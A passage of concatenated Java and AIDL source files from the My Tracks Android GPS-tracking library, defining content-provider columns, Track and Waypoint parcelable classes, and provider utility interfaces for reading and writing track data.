long pointId = lastTrackPointId + (descending ? -1 : 1);
Log.d(TAG, "Advancing cursor point ID: " + pointId);
cursor.close();
cursor = getCursor(pointId);
return cursor != null;
}
@Override
public long getLocationId() {
return lastTrackPointId;
}
@Override
public boolean hasNext() {
if (cursor == null) {
return false;
}
if (cursor.isAfterLast()) {
return false;
}
if (cursor.isLast()) {
// If the current batch size was less that max, we can safely return, otherwise
// we need to advance to the next batch.
return cursor.getCount() == defaultCursorBatchSize &&
advanceCursorToNextBatch() && !cursor.isAfterLast();
}
return true;
}
@Override
public Location next() {
if (cursor == null ||
!(cursor.moveToNext() || advanceCursorToNextBatch() || cursor.moveToNext())) {
throw new NoSuchElementException();
}
lastTrackPointId = cursor.getLong(columnIndices.idxId);
Location location = locationFactory.createLocation();
fillLocation(cursor, columnIndices, location);
return location;
}
@Override
public void close() {
if (cursor != null) {
cursor.close();
cursor = null;
}
}
@Override
public void remove() {
throw new UnsupportedOperationException();
}
};
}
// @VisibleForTesting
void setDefaultCursorBatchSize(int defaultCursorBatchSize) {
this.defaultCursorBatchSize = defaultCursorBatchSize;
}
} | 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/MyTracksProviderUtilsImpl.java | Java | asf20 | 37,350 |
/*
* Copyright 2009 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.content;
import android.net.Uri;
import android.provider.BaseColumns;
/**
* Defines the URI for the tracks provider and the available column names
* and content types.
*
* @author Leif Hendrik Wilden
*/
public interface WaypointsColumns extends BaseColumns {
public static final Uri CONTENT_URI =
Uri.parse("content://com.google.android.maps.mytracks/waypoints");
public static final String CONTENT_TYPE =
"vnd.android.cursor.dir/vnd.google.waypoint";
public static final String CONTENT_ITEMTYPE =
"vnd.android.cursor.item/vnd.google.waypoint";
public static final String DEFAULT_SORT_ORDER = "_id";
/* All columns */
public static final String NAME = "name";
public static final String DESCRIPTION = "description";
public static final String CATEGORY = "category";
public static final String ICON = "icon";
public static final String TRACKID = "trackid";
public static final String TYPE = "type";
public static final String LENGTH = "length";
public static final String DURATION = "duration";
public static final String STARTTIME = "starttime";
public static final String STARTID = "startid";
public static final String STOPID = "stopid";
public static final String LATITUDE = "latitude";
public static final String LONGITUDE = "longitude";
public static final String ALTITUDE = "elevation";
public static final String BEARING = "bearing";
public static final String TIME = "time";
public static final String ACCURACY = "accuracy";
public static final String SPEED = "speed";
public static final String TOTALDISTANCE = "totaldistance";
public static final String TOTALTIME = "totaltime";
public static final String MOVINGTIME = "movingtime";
public static final String AVGSPEED = "avgspeed";
public static final String AVGMOVINGSPEED = "avgmovingspeed";
public static final String MAXSPEED = "maxspeed";
public static final String MINELEVATION = "minelevation";
public static final String MAXELEVATION = "maxelevation";
public static final String ELEVATIONGAIN = "elevationgain";
public static final String MINGRADE = "mingrade";
public static final String MAXGRADE = "maxgrade";
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/WaypointsColumns.java | Java | asf20 | 2,815 |
/*
* Copyright 2008 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.content;
import android.net.Uri;
import android.provider.BaseColumns;
/**
* Defines the URI for the tracks provider and the available column names
* and content types.
*
* @author Leif Hendrik Wilden
*/
public interface TracksColumns extends BaseColumns {
public static final Uri CONTENT_URI =
Uri.parse("content://com.google.android.maps.mytracks/tracks");
public static final String CONTENT_TYPE =
"vnd.android.cursor.dir/vnd.google.track";
public static final String CONTENT_ITEMTYPE =
"vnd.android.cursor.item/vnd.google.track";
public static final String DEFAULT_SORT_ORDER = "_id";
/* All columns */
public static final String NAME = "name";
public static final String DESCRIPTION = "description";
public static final String CATEGORY = "category";
public static final String STARTID = "startid";
public static final String STOPID = "stopid";
public static final String STARTTIME = "starttime";
public static final String STOPTIME = "stoptime";
public static final String NUMPOINTS = "numpoints";
public static final String TOTALDISTANCE = "totaldistance";
public static final String TOTALTIME = "totaltime";
public static final String MOVINGTIME = "movingtime";
public static final String AVGSPEED = "avgspeed";
public static final String AVGMOVINGSPEED = "avgmovingspeed";
public static final String MAXSPEED = "maxspeed";
public static final String MINELEVATION = "minelevation";
public static final String MAXELEVATION = "maxelevation";
public static final String ELEVATIONGAIN = "elevationgain";
public static final String MINGRADE = "mingrade";
public static final String MAXGRADE = "maxgrade";
public static final String MINLAT = "minlat";
public static final String MAXLAT = "maxlat";
public static final String MINLON = "minlon";
public static final String MAXLON = "maxlon";
public static final String MAPID = "mapid";
public static final String TABLEID = "tableid";
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/TracksColumns.java | Java | asf20 | 2,606 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.content;
import java.util.Vector;
/**
* An interface for an object that can generate descriptions of track and
* waypoint.
*
* @author Sandor Dornbush
*/
public interface DescriptionGenerator {
/**
* Generates a track description.
*
* @param track the track
* @param distances a vector of distances to generate the elevation chart
* @param elevations a vector of elevations to generate the elevation chart
*/
public String generateTrackDescription(
Track track, Vector<Double> distances, Vector<Double> elevations);
/**
* Generate a waypoint description.
*
* @param waypoint the waypoint
*/
public String generateWaypointDescription(Waypoint waypoint);
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/DescriptionGenerator.java | Java | asf20 | 1,343 |
/*
* Copyright 2009 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.content;
import com.google.android.apps.mytracks.stats.TripStatistics;
import android.location.Location;
import android.os.Parcel;
import android.os.Parcelable;
/**
* A way point. It has a location, meta data such as name, description,
* category, and icon, plus it can store track statistics for a "sub-track".
*
* TODO: hashCode and equals
*
* @author Leif Hendrik Wilden
* @author Rodrigo Damazio
*/
public final class Waypoint implements Parcelable {
/**
* Creator for a Waypoint object
*/
public static class Creator implements Parcelable.Creator<Waypoint> {
public Waypoint createFromParcel(Parcel source) {
ClassLoader classLoader = getClass().getClassLoader();
Waypoint waypoint = new Waypoint();
waypoint.id = source.readLong();
waypoint.name = source.readString();
waypoint.description = source.readString();
waypoint.category = source.readString();
waypoint.icon = source.readString();
waypoint.trackId = source.readLong();
waypoint.type = source.readInt();
waypoint.startId = source.readLong();
waypoint.stopId = source.readLong();
byte hasStats = source.readByte();
if (hasStats > 0) {
waypoint.stats = source.readParcelable(classLoader);
}
byte hasLocation = source.readByte();
if (hasLocation > 0) {
waypoint.location = source.readParcelable(classLoader);
}
return waypoint;
}
public Waypoint[] newArray(int size) {
return new Waypoint[size];
}
}
public static final Creator CREATOR = new Creator();
public static final int TYPE_WAYPOINT = 0;
public static final int TYPE_STATISTICS = 1;
private long id = -1;
private String name = "";
private String description = "";
private String category = "";
private String icon = "";
private long trackId = -1;
private int type = 0;
private Location location;
/** Start track point id */
private long startId = -1;
/** Stop track point id */
private long stopId = -1;
private TripStatistics stats;
/** The length of the track, without smoothing. */
private double length;
/** The total duration of the track (not from the last waypoint) */
private long duration;
public void writeToParcel(Parcel dest, int flags) {
dest.writeLong(id);
dest.writeString(name);
dest.writeString(description);
dest.writeString(category);
dest.writeString(icon);
dest.writeLong(trackId);
dest.writeInt(type);
dest.writeLong(startId);
dest.writeLong(stopId);
dest.writeByte(stats == null ? (byte) 0 : (byte) 1);
if (stats != null) {
dest.writeParcelable(stats, 0);
}
dest.writeByte(location == null ? (byte) 0 : (byte) 1);
if (location != null) {
dest.writeParcelable(location, 0);
}
}
// Getters and setters:
//---------------------
public String getIcon() {
return icon;
}
public void setIcon(String icon) {
this.icon = icon;
}
public Location getLocation() {
return location;
}
public void setTrackId(long trackId) {
this.trackId = trackId;
}
public int describeContents() {
return 0;
}
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public long getTrackId() {
return trackId;
}
public int getType() {
return type;
}
public void setType(int type) {
this.type = type;
}
public long getStartId() {
return startId;
}
public void setStartId(long startId) {
this.startId = startId;
}
public long getStopId() {
return stopId;
}
public void setStopId(long stopId) {
this.stopId = stopId;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getCategory() {
return category;
}
public void setCategory(String category) {
this.category = category;
}
public void setLocation(Location location) {
this.location = location;
}
public TripStatistics getStatistics() {
return stats;
}
public void setStatistics(TripStatistics stats) {
this.stats = stats;
}
// WARNING: These fields are used for internal state keeping. You probably
// want to look at getStatistics instead.
public double getLength() {
return length;
}
public void setLength(double length) {
this.length = length;
}
public long getDuration() {
return duration;
}
public void setDuration(long duration) {
this.duration = duration;
}
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/Waypoint.java | Java | asf20 | 5,336 |
/*
* Copyright 2008 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.content;
import com.google.android.apps.mytracks.stats.TripStatistics;
import android.location.Location;
import android.os.Parcel;
import android.os.Parcelable;
import java.util.ArrayList;
/**
* A class representing a (GPS) Track.
*
* TODO: hashCode and equals
*
* @author Leif Hendrik Wilden
* @author Rodrigo Damazio
*/
public class Track implements Parcelable {
/**
* Creator for a Track object.
*/
public static class Creator implements Parcelable.Creator<Track> {
public Track createFromParcel(Parcel source) {
ClassLoader classLoader = getClass().getClassLoader();
Track track = new Track();
track.id = source.readLong();
track.name = source.readString();
track.description = source.readString();
track.mapId = source.readString();
track.category = source.readString();
track.startId = source.readLong();
track.stopId = source.readLong();
track.stats = source.readParcelable(classLoader);
track.numberOfPoints = source.readInt();
for (int i = 0; i < track.numberOfPoints; ++i) {
Location loc = source.readParcelable(classLoader);
track.locations.add(loc);
}
track.tableId = source.readString();
return track;
}
public Track[] newArray(int size) {
return new Track[size];
}
}
public static final Creator CREATOR = new Creator();
/**
* The track points (which may not have been loaded).
*/
private ArrayList<Location> locations = new ArrayList<Location>();
/**
* The number of location points (present even if the points themselves were
* not loaded).
*/
private int numberOfPoints = 0;
private long id = -1;
private String name = "";
private String description = "";
private String mapId = "";
private String tableId = "";
private long startId = -1;
private long stopId = -1;
private String category = "";
private TripStatistics stats = new TripStatistics();
public Track() {
}
public void writeToParcel(Parcel dest, int flags) {
dest.writeLong(id);
dest.writeString(name);
dest.writeString(description);
dest.writeString(mapId);
dest.writeString(category);
dest.writeLong(startId);
dest.writeLong(stopId);
dest.writeParcelable(stats, 0);
dest.writeInt(numberOfPoints);
for (int i = 0; i < numberOfPoints; ++i) {
dest.writeParcelable(locations.get(i), 0);
}
dest.writeString(tableId);
}
// Getters and setters:
//---------------------
public int describeContents() {
return 0;
}
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public long getStartId() {
return startId;
}
public void setStartId(long startId) {
this.startId = startId;
}
public long getStopId() {
return stopId;
}
public void setStopId(long stopId) {
this.stopId = stopId;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getMapId() {
return mapId;
}
public void setMapId(String mapId) {
this.mapId = mapId;
}
public String getTableId() {
return tableId;
}
public void setTableId(String tableId) {
this.tableId = tableId;
}
public String getCategory() {
return category;
}
public void setCategory(String category) {
this.category = category;
}
public int getNumberOfPoints() {
return numberOfPoints;
}
public void setNumberOfPoints(int numberOfPoints) {
this.numberOfPoints = numberOfPoints;
}
public void addLocation(Location l) {
locations.add(l);
}
public ArrayList<Location> getLocations() {
return locations;
}
public void setLocations(ArrayList<Location> locations) {
this.locations = locations;
}
public TripStatistics getStatistics() {
return stats;
}
public void setStatistics(TripStatistics stats) {
this.stats = stats;
}
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/Track.java | Java | asf20 | 4,761 |
package com.google.android.apps.mytracks.content;
parcelable WaypointCreationRequest; | 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/WaypointCreationRequest.aidl | AIDL | asf20 | 85 |
package com.google.android.apps.mytracks.content;
parcelable Waypoint; | 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/Waypoint.aidl | AIDL | asf20 | 70 |
/*
* Copyright 2008 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.content;
import android.net.Uri;
import android.provider.BaseColumns;
/**
* Defines the URI for the track points provider and the available column names
* and content types.
*
* @author Leif Hendrik Wilden
*/
public interface TrackPointsColumns extends BaseColumns {
public static final Uri CONTENT_URI =
Uri.parse("content://com.google.android.maps.mytracks/trackpoints");
public static final String CONTENT_TYPE =
"vnd.android.cursor.dir/vnd.google.trackpoint";
public static final String CONTENT_ITEMTYPE =
"vnd.android.cursor.item/vnd.google.trackpoint";
public static final String DEFAULT_SORT_ORDER = "_id";
/* All columns */
public static final String TRACKID = "trackid";
public static final String LATITUDE = "latitude";
public static final String LONGITUDE = "longitude";
public static final String ALTITUDE = "elevation";
public static final String BEARING = "bearing";
public static final String TIME = "time";
public static final String ACCURACY = "accuracy";
public static final String SPEED = "speed";
public static final String SENSOR = "sensor";
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/TrackPointsColumns.java | Java | asf20 | 1,754 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.content;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.location.Location;
import android.net.Uri;
import java.util.Iterator;
import java.util.List;
/**
* Utility to access data from the mytracks content provider.
*
* @author Rodrigo Damazio
*/
public interface MyTracksProviderUtils {
/**
* Authority (first part of URI) for the MyTracks content provider:
*/
public static final String AUTHORITY = "com.google.android.maps.mytracks";
/**
* Deletes all tracks (including track points) from the provider.
*/
void deleteAllTracks();
/**
* Deletes a track with the given track id.
*
* @param trackId the unique track id
*/
void deleteTrack(long trackId);
/**
* Deletes a way point with the given way point id.
* This will also correct the next statistics way point after the deleted one
* to reflect the deletion.
* The generator is needed to stitch together statistics waypoints.
*
* @param waypointId the unique way point id
* @param descriptionGenerator the class to generate descriptions
*/
void deleteWaypoint(long waypointId,
DescriptionGenerator descriptionGenerator);
/**
* Finds the next statistics waypoint after the given waypoint.
*
* @param waypoint a given waypoint
* @return the next statistics waypoint, or null if none found.
*/
Waypoint getNextStatisticsWaypointAfter(Waypoint waypoint);
/**
* Updates the waypoint in the provider.
*
* @param waypoint
* @return true if successful
*/
boolean updateWaypoint(Waypoint waypoint);
/**
* Finds the last recorded location from the location provider.
*
* @return the last location, or null if no locations available
*/
Location getLastLocation();
/**
* Finds the first recorded waypoint for a given track from the location
* provider.
* This is a special waypoint that holds the stats for current segment.
*
* @param trackId the id of the track the waypoint belongs to
* @return the first waypoint, or null if no waypoints available
*/
Waypoint getFirstWaypoint(long trackId);
/**
* Finds the given waypoint from the location provider.
*
* @param waypointId
* @return the waypoint, or null if it does not exist
*/
Waypoint getWaypoint(long waypointId);
/**
* Finds the last recorded location id from the track points provider.
*
* @param trackId find last location on this track
* @return the location id, or -1 if no locations available
*/
long getLastLocationId(long trackId);
/**
* Finds the id of the 1st waypoint for a given track.
* The 1st waypoint is special as it contains the stats for the current
* segment.
*
* @param trackId find last location on this track
* @return the waypoint id, or -1 if no waypoints are available
*/
long getFirstWaypointId(long trackId);
/**
* Finds the id of the 1st waypoint for a given track.
* The 1st waypoint is special as it contains the stats for the current
* segment.
*
* @param trackId find last location on this track
* @return the waypoint id, or -1 if no waypoints are available
*/
long getLastWaypointId(long trackId);
/**
* Finds the last recorded track from the track provider.
*
* @return the last track, or null if no tracks available
*/
Track getLastTrack();
/**
* Finds the last recorded track id from the tracks provider.
*
* @return the track id, or -1 if no tracks available
*/
long getLastTrackId();
/**
* Finds a location by given unique id.
*
* @param id the desired id
* @return a Location object, or null if not found
*/
Location getLocation(long id);
/**
* Creates a cursor over the locations in the track points provider which
* iterates over a given range of unique ids.
* Caller owns the returned cursor and is responsible for closing it.
*
* @param trackId the id of the track for which to get the points
* @param minTrackPointId the minimum id for the track points
* @param maxLocations maximum number of locations retrieved
* @param descending if true the results will be returned in descending id
* order (latest location first)
* @return A cursor over the selected range of locations
*/
Cursor getLocationsCursor(long trackId, long minTrackPointId,
int maxLocations, boolean descending);
/**
* Creates a cursor over the waypoints of a track.
* Caller owns the returned cursor and is responsible for closing it.
*
* @param trackId the id of the track for which to get the points
* @param minWaypointId the minimum id for the track points
* @param maxWaypoints the maximum number of waypoints to return
* @return A cursor over the selected range of locations
*/
Cursor getWaypointsCursor(long trackId, long minWaypointId,
int maxWaypoints);
/**
* Creates a cursor over waypoints with the given selection.
* Caller owns the returned cursor and is responsible for closing it.
*
* @param selection a given selection
* @param selectionArgs arguments for the given selection
* @param order the order in which to return results
* @param maxWaypoints the maximum number of waypoints to return
* @return a cursor of the selected waypoints
*/
Cursor getWaypointsCursor(String selection, String[] selectionArgs, String order, int maxWaypoints);
/**
* Finds a track by given unique track id.
* Note that the returned track object does not have any track points attached.
* Use {@link #getLocationIterator(long, long, boolean, LocationFactory)} to load
* the track points.
*
* @param id desired unique track id
* @return a Track object, or null if not found
*/
Track getTrack(long id);
/**
* Retrieves all tracks without track points. If no tracks exist, an empty
* list will be returned. Use {@link #getLocationIterator(long, long, boolean, LocationFactory)}
* to load the track points.
*
* @return a list of all the recorded tracks
*/
List<Track> getAllTracks();
/**
* Creates a cursor over the tracks provider with a given selection.
* Caller owns the returned cursor and is responsible for closing it.
*
* @param selection a given selection
* @param selectionArgs parameters for the given selection
* @param order the order to return results in
* @return a cursor of the selected tracks
*/
Cursor getTracksCursor(String selection, String[] selectionArgs, String order);
/**
* Inserts a track in the tracks provider.
* Note: This does not insert any track points.
* Use {@link #insertTrackPoint(Location, long)} to insert them.
*
* @param track the track to insert
* @return the content provider URI for the inserted track
*/
Uri insertTrack(Track track);
/**
* Inserts a track point in the tracks provider.
*
* @param location the location to insert
* @return the content provider URI for the inserted track point
*/
Uri insertTrackPoint(Location location, long trackId);
/**
* Inserts multiple track points in a single operation.
*
* @param locations an array of locations to insert
* @param length the number of locations (from the beginning of the array)
* to actually insert, or -1 for all of them
* @param trackId the ID of the track to insert the points into
* @return the number of points inserted
*/
int bulkInsertTrackPoints(Location[] locations, int length, long trackId);
/**
* Inserts a waypoint in the provider.
*
* @param waypoint the waypoint to insert
* @return the content provider URI for the inserted track
*/
Uri insertWaypoint(Waypoint waypoint);
/**
* Tests if a track with given id exists.
*
* @param id the unique id
* @return true if track exists
*/
boolean trackExists(long id);
/**
* Updates a track in the content provider.
* Note: This will not update any track points.
*
* @param track a given track
*/
void updateTrack(Track track);
/**
* Creates a Track object from a given cursor.
*
* @param cursor a cursor pointing at a db or provider with tracks
* @return a new Track object
*/
Track createTrack(Cursor cursor);
/**
* Creates the ContentValues for a given Track object.
*
* Note: If the track has an id<0 the id column will not be filled.
*
* @param track a given track object
* @return a filled in ContentValues object
*/
ContentValues createContentValues(Track track);
/**
* Creates a location object from a given cursor.
*
* @param cursor a cursor pointing at a db or provider with locations
* @return a new location object
*/
Location createLocation(Cursor cursor);
/**
* Fill a location object with values from a given cursor.
*
* @param cursor a cursor pointing at a db or provider with locations
* @param location a location object to be overwritten
*/
void fillLocation(Cursor cursor, Location location);
/**
* Creates a waypoint object from a given cursor.
*
* @param cursor a cursor pointing at a db or provider with waypoints.
* @return a new waypoint object
*/
Waypoint createWaypoint(Cursor cursor);
/**
* A lightweight wrapper around the original {@link Cursor} with a method to clean up.
*/
interface LocationIterator extends Iterator<Location> {
/**
* Returns ID of the most recently retrieved track point through a call to {@link #next()}.
*
* @return the ID of the most recent track point ID.
*/
long getLocationId();
/**
* Should be called in case the underlying iterator hasn't reached the last record.
* Calling it if it has reached the last record is a no-op.
*/
void close();
}
/**
* A factory for creating new {@class Location}s.
*/
interface LocationFactory {
/**
* Creates a new {@link Location} object to be populated from the underlying database record.
* It's up to the implementing class to decide whether to create a new instance or reuse
* existing to optimize for speed.
*
* @return a {@link Location} to be populated from the database.
*/
Location createLocation();
}
/**
* The default {@class Location}s factory, which creates a new location of 'gps' type.
*/
LocationFactory DEFAULT_LOCATION_FACTORY = new LocationFactory() {
@Override
public Location createLocation() {
return new Location("gps");
}
};
/**
* A location factory which uses two location instances (one for the current location,
* and one for the previous), useful when we need to keep the last location.
*/
public class DoubleBufferedLocationFactory implements LocationFactory {
private final Location locs[] = new MyTracksLocation[] {
new MyTracksLocation("gps"),
new MyTracksLocation("gps")
};
private int lastLoc = 0;
@Override
public Location createLocation() {
lastLoc = (lastLoc + 1) % locs.length;
return locs[lastLoc];
}
}
/**
* Creates a new read-only iterator over all track points for the given track. It provides
* a lightweight way of iterating over long tracks without failing due to the underlying cursor
* limitations. Since it's a read-only iterator, {@link Iterator#remove()} always throws
* {@class UnsupportedOperationException}.
*
* Each call to {@link LocationIterator#next()} may advance to the next DB record, and if so,
* the iterator calls {@link LocationFactory#createLocation()} and populates it with information
* retrieved from the record.
*
* When done with iteration, you must call {@link LocationIterator#close()} to make sure that all
* resources are properly deallocated.
*
* Example use:
* <code>
* ...
* LocationIterator it = providerUtils.getLocationIterator(
* 1, MyTracksProviderUtils.DEFAULT_LOCATION_FACTORY);
* try {
* for (Location loc : it) {
* ... // Do something useful with the location.
* }
* } finally {
* it.close();
* }
* ...
* </code>
*
* @param trackId the ID of a track to retrieve locations for.
* @param startTrackPointId the ID of the first track point to load, or -1 to start from
* the first point.
* @param descending if true the results will be returned in descending ID
* order (latest location first).
* @param locationFactory the factory for creating new locations.
*
* @return the read-only iterator over the given track's points.
*/
LocationIterator getLocationIterator(long trackId, long startTrackPointId, boolean descending,
LocationFactory locationFactory);
/**
* A factory which can produce instances of {@link MyTracksProviderUtils},
* and can be overridden in tests (a.k.a. poor man's guice).
*/
public static class Factory {
private static Factory instance = new Factory();
/**
* Creates and returns an instance of {@link MyTracksProviderUtils} which
* uses the given context to access its data.
*/
public static MyTracksProviderUtils get(Context context) {
return instance.newForContext(context);
}
/**
* Returns the global instance of this factory.
*/
public static Factory getInstance() {
return instance;
}
/**
* Overrides the global instance for this factory, to be used for testing.
* If used, don't forget to set it back to the original value after the
* test is run.
*/
public static void overrideInstance(Factory factory) {
instance = factory;
}
/**
* Creates an instance of {@link MyTracksProviderUtils}.
*/
protected MyTracksProviderUtils newForContext(Context context) {
return new MyTracksProviderUtilsImpl(context.getContentResolver());
}
}
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/MyTracksProviderUtils.java | Java | asf20 | 14,588 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.content;
import android.os.Parcel;
import android.os.Parcelable;
/**
* A request for the service to create a waypoint at the current location.
*
* @author Sandor Dornbush
*/
public class WaypointCreationRequest implements Parcelable {
public static enum WaypointType {
MARKER,
STATISTICS;
}
private WaypointType type;
private String name;
private String category;
private String description;
private String iconUrl;
public final static WaypointCreationRequest DEFAULT_MARKER =
new WaypointCreationRequest(WaypointType.MARKER);
public final static WaypointCreationRequest DEFAULT_STATISTICS =
new WaypointCreationRequest(WaypointType.STATISTICS);
private WaypointCreationRequest(WaypointType type) {
this.type = type;
}
public WaypointCreationRequest(WaypointType type, String name, String category,
String description, String iconUrl) {
this.type = type;
this.name = name;
this.category = category;
this.description = description;
this.iconUrl = iconUrl;
}
public static class Creator implements Parcelable.Creator<WaypointCreationRequest> {
@Override
public WaypointCreationRequest createFromParcel(Parcel source) {
int i = source.readInt();
if (i > WaypointType.values().length) {
throw new IllegalArgumentException("Could not find waypoint type: " + i);
}
WaypointCreationRequest request = new WaypointCreationRequest(WaypointType.values()[i]);
request.name = source.readString();
request.category = source.readString();
request.description = source.readString();
request.iconUrl = source.readString();
return request;
}
public WaypointCreationRequest[] newArray(int size) {
return new WaypointCreationRequest[size];
}
}
public static final Creator CREATOR = new Creator();
@Override
public int describeContents() {
return 0;
}
@Override
public void writeToParcel(Parcel parcel, int arg1) {
parcel.writeInt(type.ordinal());
parcel.writeString(name);
parcel.writeString(category);
parcel.writeString(description);
parcel.writeString(iconUrl);
}
public WaypointType getType() {
return type;
}
public String getName() {
return name;
}
public String getCategory() {
return category;
}
public String getDescription() {
return description;
}
public String getIconUrl() {
return iconUrl;
}
} | 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/WaypointCreationRequest.java | Java | asf20 | 3,100 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.content;
import android.location.Location;
/**
* This class extends the standard Android location with extra information.
*
* @author Sandor Dornbush
*/
public class MyTracksLocation extends Location {
private Sensor.SensorDataSet sensorDataSet = null;
/**
* The id of this location from the provider.
*/
private int id = -1;
public MyTracksLocation(Location location, Sensor.SensorDataSet sd) {
super(location);
this.sensorDataSet = sd;
}
public MyTracksLocation(String provider) {
super(provider);
}
public Sensor.SensorDataSet getSensorDataSet() {
return sensorDataSet;
}
public void setSensorData(Sensor.SensorDataSet sensorData) {
this.sensorDataSet = sensorData;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public void reset() {
super.reset();
sensorDataSet = null;
id = -1;
}
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/content/MyTracksLocation.java | Java | asf20 | 1,550 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.lib;
/**
* Constants for the My Tracks common library.
* These constants should ideally not be used by third-party applications.
*
* @author Rodrigo Damazio
*/
public class MyTracksLibConstants {
public static final String TAG = "MyTracksLib";
private MyTracksLibConstants() {}
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/lib/MyTracksLibConstants.java | Java | asf20 | 925 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
